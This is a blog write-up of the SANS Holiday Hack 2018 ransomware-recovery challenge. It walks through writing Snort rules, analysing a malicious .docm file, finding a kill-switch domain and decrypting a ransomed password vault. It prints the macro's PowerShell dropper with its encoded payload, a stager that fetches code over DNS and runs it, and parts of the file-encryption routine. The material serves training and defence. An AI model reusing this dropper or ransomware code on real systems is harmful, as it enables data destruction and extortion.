SANS Holiday Hack 2018: Objective 9: Ransomeware Recovery

Objective: Alabaster Snowball is in dire need of your help. Santa’s file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa’s server by completing several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.

Catch the Malware: Snort Rule see below
Identify the Domain:
Stop the Malware: Register the killswitch domain yippeekiyaa.aaay
Recover Alabaster’s Password: ED#ED#EED#EF#G#F#G#ABA#BA#B

Catch The Malware
Objective: Assist Alabaster by building a Snort filter to identify the malware plaguing Santa’s Castle.

This was a basic analysis of the PCAP file provided that showed lots of DNS (UDP:53) requests and response with a specific HEX encoded string in the requested domain name. The following Snort rules were created:

alert udp any any -> any 53 (msg: “Malware”; content: “77616E6E61636F6F6B69652E6D696E2E707331”; sid: 1000001; rev: 1;)
alert udp any 53 -> any any (msg: “Malware”; content: “77616E6E61636F6F6B69652E6D696E2E707331”; sid: 1000002; rev: 1;)

Testing them we got the following response:

Identifying the Domain
Objective: Using the Word docm file, identify the domain name that the malware communicates with.

Alabaster Snowball provides us with the file “” which sets off anti-virus straight away (Luckily we downloaded on our virtual machine). Unzipping this file we are provided with a file “CHOCOLATE_CHIP_COOKIE_RECIPE.docm”

This file is then analysed with python olevba from oletools, as suggested by the Kringlecon talk, which showed there was a Powershell macro:

Private Sub Document_Open()
Dim cmd As String
cmd = “powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C “”sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG’),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()”” “
Shell cmd
End Sub

Using Cyberchef we can decode the Base64 and then Decompress to get:

function H2A($a) {
$a -split ‘(..)’ | ? {
} | forEach { [char]([convert]::toint16($_, 16)) } | forEach { $o = $o + $_ }; return $o
$f = “77616E6E61636F6F6B69652E6D696E2E707331”;
$h = “”;
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name “$” -Type TXT).strings, 10) – 1)) {
$h += (Resolve-DnsName -Server -Name “$i.$” -Type TXT).strings
#iex($(H2A $h | Out-string))
$(H2A $h | Out-string)

We can run this code without the iex call “Invoke-Expression” call which uses the DNS communication to and downloads the powershell: wannacookie.min.ps1

Stop The Malware
Objective: Identify a way to stop the malware in its tracks!

The following part of the downloaded powershell code at the top of the wanc function provided the kill switch (or don’t function) capabilities:

$S1 = “1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000”;
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server -Name -Type TXT).Strings))).ToString() -ErrorAction 0 -Server {
if ($(netstat -ano | Select-String “”).length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne “KRINGLECASTLE”) {

Initially a DNS lookup of type TXT is completed for against the server

Resolve-DnsName -Server -Name -Type TXT

Where the prefix/host part of the domain is the hex encoded version of the string: killswitch which is promising, and we get the result of this DNS query as:


Which when hex decoded becomes the strange string:


Though this makes up the second parameter of the ti_rox function, which appears to be doing some kind of XOR (crypto) function between the two parameters. The second parameter is made up via some encoding and gzip decompression of the $s1 variable:

$(B2H $(G2B $(H2B $S1)))

Which when run in powershell returns:


Following the function through and running the ti_rox function with these parameters as the code specifies:

ti_rox “1f0f0202171d020c0b09075604070a0a” “66667272727869657268667865666B73”

We get a byte array, which we can encode to Hex using the B2H function and get:


Which is the Hex encoded version of the string, which can be retrieved using the H2A function, providing:


Which appears to be the kill domain. as another DNS query request is done for this domain to the Google DNS server and if the result is not NULL, then the script returns doing nothing else.

This could be registered at Ho Ho Daddy and the malware is stopped:

Recover Alabaster’s Password:
Objective: Recover Alabaster’s password as found in the the encrypted password vault.

Alabaster provides us with two files:

  • alabaster_passwords.elfdb.wannacookie – The encrypted database file
  • powershell.exe_181109_104716.dmp – A dump file for the powershell malware script

Analysing the malware powershell script again, we can look at the encryption mechanism:

$p_k = [System.Convert]::FromBase64String($(g_o_dns(“7365727665722E637274”) ) );
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($((char[] + (char[]) + 0..9 | sort {Get-Random})[0..15] -join ”)) | ? {$_ -ne 0x00});

$h_k = $(B2H $b_k);
$k_h = $(sh1 $h_k);

# Encrypted $b_k with $p_k (Public Key)
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
$c_id = (snd_k $p_k_e_k);
$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");

# List of files ending with .elfdb
[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music'))
-Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});

# Encrypt the files and change to .wannacookie
e_n_d $b_k $f_c $true;

The g_o_dns function does the communication with the command and control server. And the string “7365727665722E637274” is hex encoded string “server.crt” doing this call pulls back the base64 encode text which when decoded shows a certificate.

We can see that $b_k is the key that is used to actually encrypt our file for ransom, and this is a random 32 char hex string (i.e. 16 bytes). This is the symmetric key we require to decrypt the file.

Using the powerdump tool (as suggested in hints) to process the powershell dump file, we look for possible 32 char hex strings. We find 5:

  • 033ecb2bc07a4d43b5ef94ed5a35d280
  • cf522b78d86c486691226b40aa69e95c
  • 9e210fe47d09416682b841769c78b8a3
  • 4ec4f0187cb04f4cb6973460dfe252df
  • 27c87ef9bbda4f709f6b4002fa4af63c

Trying to use these on the decrypt functionality in the powershell script, but none decrypt the file successfully. This may be due to these variables being explicitly cleared.]

The decrypt functionality is shown below, note the e_n_d function takes false instead of true for decrypt. Also there is a check that the sha1 of the decrypt key matches the previously stored hash.

$akey = $Req.QueryString.Item(“key”);
if ($k_h -eq $(sh1 $akey)) {
$akey = $(H2B $akey);
[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
e_n_d $akey $f_c $false;
$html = “Files have been decrypted!”;
$close = $true
} else {
$html = “Invalid Key!”

Using powershell again we can search for a SHA1 hash (hex characters length 40) which returns a single result:

SHA1 of Key: b0e59a5e0f00968856f22cff2d6226697535da5b

None of the keys we found have a SHA1 matching above.

Going back to the encrypt functionality we can see a function call to p_k_e which takes the symmetric encryption key and the public key from server.crt. It seems that the symmetric key is encrypted with the public key before sending back to the command and control server.

Analysis of the public key (server.crt) using openssl shows that it is a 2048 bit (256 byte) key, this means that the encrypted version of the symmetric key will be expanded to 256 bytes. So using powerdump again I searched for a hex character string with total length 512 (2 chars per byte). This returned a single result, lets hope this is the encrypted symmetric key.

We now needed the private key to attempt to decrypt this data, so as we downloaded the server.crt from command and control via hex encode dns “server.crt” we attempted to do the same with “server.key”. So we called the following:


Which returned the following:


Using openssl we checked the modulus of the public key and the modulus of the private key, and they matched. So it looks like we have the private key used to encrypt the symmetric encryption key.

Creating files with the bytes of the encypted key and the private key it was encrytped with we can then run the following command to get the raw symmetric key. We had to try different padding methods (-oaep) to get the correct output:

openssl rsautl -decrypt -oaep -in data.enc -hexdump -inkey server.key

This returned a 16 byte file, looks like we may have the key:


Calling the sh1 powershell function from the script with this key returns the expected SHA1, so this looks like our key.

Running the powershell with the correct arguments:

e_n_d $(H2B “fbcfc121915d99cc20a3d3d5d84f8308”) $f_c $false

And the output file, is decrypted as an SQL Lite database. Opening this with “DB Browser for SQL Lite” and we get the following:

We can see the password for the vault: ED#ED#EED#EF#G#F#G#ABA#BA#B

Leave a Reply

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.